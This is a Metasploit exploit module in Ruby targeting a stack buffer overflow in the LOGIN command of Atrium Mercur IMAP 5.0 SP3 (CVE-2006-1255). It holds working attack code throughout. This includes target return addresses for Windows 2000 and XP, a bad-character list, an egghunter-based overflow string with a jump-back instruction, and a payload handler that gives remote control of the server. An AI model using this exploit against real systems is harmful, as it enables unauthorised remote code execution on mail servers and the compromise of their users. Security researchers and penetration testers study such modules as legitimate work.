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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Egghunter
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Mercur Messaging 2005 IMAP Login Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in Atrium Mercur IMAP 5.0 SP3.
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        Since the room for shellcode is small, using the reverse ordinal payloads
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        yields the best results.
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      },
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      'Author'         => [ 'MC' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2006-1255' ],
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          [ 'OSVDB', '23950' ],
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          [ 'BID', '17138' ],
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          [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-03/1104.html' ],
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        ],
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      'Privileged'     => true,
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 228,
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          'BadChars' => "\x00\x20\x2c\x3a\x40",
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          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ],
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          [ 'Windows XP Pro SP2 English',   { 'Ret' => 0x77dc15c0 } ],
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        ],
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      'DisclosureDate' => '2006-03-17',
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      'DefaultTarget'  => 0))
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    register_options( [ Opt::RPORT(143) ])
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  end
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  def exploit
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    connect
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    sock.get_once
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    hunter  = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
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    egg     = hunter[1]
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    sploit	=  "A001 LOGIN " + egg + hunter[0]
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    sploit	<< [target.ret].pack('V') + [0xe9, -175].pack('CV')
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    print_status("Trying target #{target.name}...")
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    sock.put(sploit + "\r\n")
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    handler
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    disconnect
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  end
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end
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